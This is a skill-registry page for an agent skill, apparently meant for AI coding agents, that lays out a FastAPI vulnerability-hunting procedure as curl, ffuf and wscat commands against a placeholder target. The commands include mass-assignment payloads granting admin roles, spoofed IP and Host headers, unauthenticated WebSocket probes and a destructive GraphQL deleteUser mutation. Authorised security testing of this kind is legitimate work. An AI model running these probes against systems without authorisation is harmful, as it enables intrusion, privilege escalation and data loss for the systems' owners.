# Hunt Fastapi

> Hunt FastAPI-specific vulnerabilities: dependency injection gaps, Pydantic coercion, and OpenAPI mining.

- Skill: `uphiago/hunt-fastapi` (Agent Skill)
- Install (CLI): `npx skillmds@latest add uphiago/hunt-fastapi`
- Raw SKILL.md: https://api.skillmd.com/api/skills/uphiago/hunt-fastapi/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: uphiago (https://skillmd.com/u/uphiago)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/uphiago/hunt-fastapi

---


# FastAPI Security Hunting

Hunt FastAPI-specific vulnerabilities in dependency injection authorization gaps, Pydantic model coercion and extra field exploitation, OpenAPI schema mining for hidden endpoints, and ASGI middleware bypasses. FastAPI's design — dependency injection for auth, Pydantic for validation, OpenAPI auto-generation — creates unique attack surface distinct from Flask or Django.

## When to Use

- Target uses FastAPI (indicated by `/docs`, `/redoc`, `/openapi.json`, or `server: uvicorn`).
- OpenAPI schema is publicly accessible.
- API uses dependency injection (`Depends`) for authorization.
- WebSocket endpoints exist alongside REST API.
- Application uses Pydantic v1 or v2 for request validation.

## Quick Detection

```bash
# FastAPI fingerprinting
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.info.title' 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/docs" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/redoc" -w "%{http_code}\n" -o /dev/null
```

## Procedure

### Phase 1 — OpenAPI Schema Mining

```bash
# Download full schema for endpoint discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | keys[]'

# Find hidden endpoints not in docs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | to_entries[] | select(.value.get != null and .value.get.security == []) | .key'

# Discover internal endpoints via path parameter fuzzing
ffuf -u "https://target.com/api/FUZZ" \
  -w /path/to/wordlist.txt \
  -mc 200,401,403 \
  -H "Accept: application/json"
```

### Phase 2 — Dependency Injection Authorization Gaps

```bash
# Depends vs Security — check if auth is actually enforced
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users"     # no auth
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
  -H "Authorization: Bearer INVALID_TOKEN"         # invalid auth

# Dependency override in path operations
# Some endpoints may inherit Depends from router but override with None
for method in GET POST PUT PATCH DELETE; do
  curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/users/1" \
    -w "$method — %{http_code}\n" -o /dev/null
done

# Background tasks added via BackgroundTasks may skip auth
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/orders" \
  -H "Content-Type: application/json" \
  -d '{"user_id":"VICTIM_ID","product":"test"}'
```

### Phase 3 — Pydantic Model Exploitation

```bash
# Type coercion — string "true" coerced to boolean
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","is_admin":"true"}'  # string coerced to bool

# Extra fields — Pydantic v1 ignores extra, v2 raises error by default
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","role":"admin"}'  # extra field may be passed to DB

# Content-type switching
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'username=test&role=admin&is_superuser=true'
```

### Phase 4 — ASGI Middleware & Proxy Trust

```bash
# ProxyHeaders trust — if behind a proxy, spoof client IP
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/me" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1"

# TrustedHostMiddleware bypass
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/health" \
  -H "Host: evil.com"

# CORS middleware — test preflight bypass
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com/api/users" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: DELETE"
```

### Phase 5 — WebSocket Auth Parity

```bash
# FastAPI WebSocket endpoints — auth may differ from REST
# Connect without token
wscat -c "wss://target.com/ws/notifications"

# Connect with minimal scope
wscat -c "wss://target.com/ws/admin" -H "Authorization: Bearer USER_TOKEN"

# Mounted sub-app WebSockets may skip middleware
wscat -c "wss://target.com/subapp/ws"
```

### Phase 6 — GraphQL Mount Authorization Gaps

```bash
# GraphQL mounted via starlette-graphene or strawberry-graphql
# May not enforce Depends at GraphQL resolver level
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}'

# Mutations may work without auth even when queries require it
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { deleteUser(id: 1) { success } }"}'
```

## Pitfalls

- **Pydantic v2 `model_config` with `extra='ignore'` silently drops unknown fields.** Test both Pydantic v1 and v2 behavior.
- **OpenAPI schema may be restricted.** If `/openapi.json` returns 403, try `/docs` and `/redoc` which serve the same data.
- **FastAPI Depends with `Security` is NOT the same as `Depends`.** `Security` integrates with OpenAPI security schemes — but both can be misconfigured.
- **Uvicorn `--proxy-headers` must be enabled for IP spoofing to work.** Check with `X-Forwarded-For` — if the server sees your real IP, proxy headers are disabled.

## Verification

1. OpenAPI schema reveals endpoints not documented in the public API docs.
2. An endpoint with `Depends(get_current_user)` accepts requests without any Authorization header.
3. Pydantic type coercion accepts string values for boolean/integer fields and persists them.
4. WebSocket endpoint accepts connections without session authentication while the REST equivalent requires it.

## Related Skills

- **`hunt-api-misconfig`** — Broader API configuration issues including Swagger/OpenAPI exposure.
- **`hunt-idor`** — Object-level authorization gaps in FastAPI path parameters.
- **`web-enumeration`** — Directory and endpoint discovery through OpenAPI schema mining.

